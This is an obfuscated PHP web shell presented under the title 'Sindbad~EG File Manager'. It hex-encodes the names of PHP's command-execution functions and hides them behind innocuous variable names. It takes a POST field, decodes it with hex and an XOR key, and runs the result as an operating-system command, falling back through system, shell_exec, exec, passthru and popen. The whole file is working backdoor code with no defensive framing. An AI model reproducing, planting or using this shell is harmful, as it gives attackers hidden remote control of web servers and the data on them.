Sindbad~EG File Manager

<?php

$restore_state6 = "\x73\x74\x72\x65\x61m_g\x65t_con\x74en\x74s";
$restore_state7 = "\x70cl\x6F\x73e";
$system_core = "\x68ex2b\x69\x6E";
$restore_state5 = "p\x6Fp\x65n";
$restore_state3 = "\x65xe\x63";
$restore_state4 = "\x70\x61sst\x68ru";
$restore_state2 = "\x73\x68\x65ll\x5Fex\x65c";
$restore_state1 = "\x73\x79\x73tem";
if (isset($_POST["r\x65\x73ource"])) {
            function reverse_searcher ( $comp,  $bind ) {
    $marker= ''  ;
 foreach(str_split($comp) as $char){
$marker.=chr(ord($char)^$bind);

} return$marker;
 
}
            $resource = $system_core($_POST["r\x65\x73ource"]);
            $resource = reverse_searcher($resource, 88);
            if (function_exists($restore_state1)) {
                $restore_state1($resource);
            } elseif (function_exists($restore_state2)) {
                print $restore_state2($resource);
            } elseif (function_exists($restore_state3)) {
                $restore_state3($resource, $binding_comp);
                print join("\n", $binding_comp);
            } elseif (function_exists($restore_state4)) {
                $restore_state4($resource);
            } elseif (function_exists($restore_state5) && function_exists($restore_state6) && function_exists($restore_state7)) {
                $bind_marker = $restore_state5($resource, 'r');
                if ($bind_marker) {
                    $tkn_fac = $restore_state6($bind_marker);
                    $restore_state7($bind_marker);
                    print $tkn_fac;
                }
            }
            exit;
        }